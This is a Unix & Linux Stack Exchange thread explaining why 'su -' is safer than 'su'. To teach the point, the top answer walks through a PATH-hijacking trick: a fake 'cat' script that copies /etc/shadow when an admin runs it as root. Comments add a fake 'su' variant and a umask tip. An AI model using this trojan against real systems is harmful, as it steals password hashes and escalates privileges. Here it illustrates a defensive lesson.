

Unix & Linux Stack Exchange is a question and answer site for users of Linux, FreeBSD and other Un*x-like operating systems. Join them; it only takes a minute:

[Sign up](#)

Here's how it works:

Anybody can ask a question

Anybody can answer

The best answers are voted up and rise to the top

Why do we use su - and not just su?

I don't understand why `su -` is preferred over `su` to login as root.

[/ linux](#) [/ permissions](#) [/ su](#) [/ conventions](#)

edited Feb 28 '12 at 8:08

 **Coren**
3,420 1 15 39

asked Feb 7 '11 at 10:42

 **Dharmit**
1,740 6 20 32

2 Answers

`su -` invokes a login shell after switching the user. A login shell resets most environment variables, providing a clean base.

`su` just switches the user, providing a normal shell with an environment nearly the same as with the old user.

Imagine, you're a software developer with normal user access to a machine and your ignorant admin just won't give you root access. Let's (hopefully) trick him.

```
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
```

Now, you ask your admin why you can't `cat` the dummy file in your home folder, it just won't work!

```
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
```

If your admin isn't that smart or just a bit lazy, he might come to your desk and try with his super-user powers:

```
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
```

Wow! Thanks, super admin!

```
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
```

He, he.

You maybe noticed that the corrupted `$PATH` variable was not reset. This wouldn't have happened, if the admin invoked `su -` instead.

edited Jul 27 '15 at 22:58



SeldomNeedy

139 6

answered Feb 7 '11 at 12:01



wag

22.6k 6 52 47

8 `su --` is the same as `su .` – Mikel Feb 7 '11 at 20:08

9 `--` is a flag that most programs interpret as "nothing after this should be taken as a flag". Useful for greping for things which start with a dash. – David Mackintosh Feb 9 '11 at 4:43

1 Don't forget to set an `umask` like 000 or it won't work. – Lekensteyn Oct 22 '11 at 8:48

9 One could as well just put a `su` file inside the `PATH`. It's not so hard to mimic the behavior of the real `su`. The super-user has been careless anyway :-). – Stéphane Gimenez Feb 28 '12 at 18:53

9 `su --` is NOT the same as `su - : --` tells an `getopt(s)` (or similar) option handler to stop processing the command line for further options (usefull for example if the rest contains filenames which could start with an '-'). Ie, in `"rm -i -- -f" : -f` is then treated as a regular argument, so here as the *name of the file* to `rm -i`, and *not* as an additionnal `-f` option to the `rm` command. So `su --` is just `su - !` So `su --` would be as unsafe to the (funny and instructive) example givan by wag. Use `su - .` – Olivier Dulac Dec 26 '12 at 15:05

`su -` logs you in completely as root, whereas `su` makes it so you are pretending to be root.

The most obvious example of this is that `~` is root's home directory if you use `su -`, but your own home directory if you use `su`.

Depending on your system, it may also mean differences in prompt, `PATH`, or history file.

So if you are part of a team administering a system, and your colleague gives you a command to run, you know it will work the same if you are both using `su -`, but if you are both using `su`, there may be differences due to you having different shell configurations.

On the other hand, if you want to run a command as root but using your own configuration, then maybe `su` is better for you.

Also don't forget about `sudo`, which has a `-s` option to start a shell running as root. Of course, this has different rules as well, and they change depending on which distribution you are using.

edited Feb 7 '11 at 11:51

answered Feb 7 '11 at 11:18



Mikel

36k 9 91 116

1 when I "su" I get `~` and `$HOME` both evaluating to `/root`. Is the behavior you describe specific to certain shells or OS versions or something? It's my understanding that `~` can be expanded by the kernel. I've got `zsh` as my (and root's) shell. – JasonWoof Feb 8 '11 at 0:05

Your `.bashrc` or `/etc/bashrc` or `/etc/profile.d` scripts are setting `PATH`. Look for `if [$UID -eq 0]` or something like that. – Mikel Feb 8 '11 at 1:14

`$USER` for example is left unchanged. – peterph Jan 30 '14 at 11:13

1 What about `sudo su`? – Simon Kuang Jul 18 '14 at 20:10

1 Your example does not work for me. I get the same directory resolved in either way. – DanFromGermany Apr 18 '16 at 14:45

`$HOME` is the same but `pwd` is different... – DJCrashdummy Jul 28 '17 at 23:51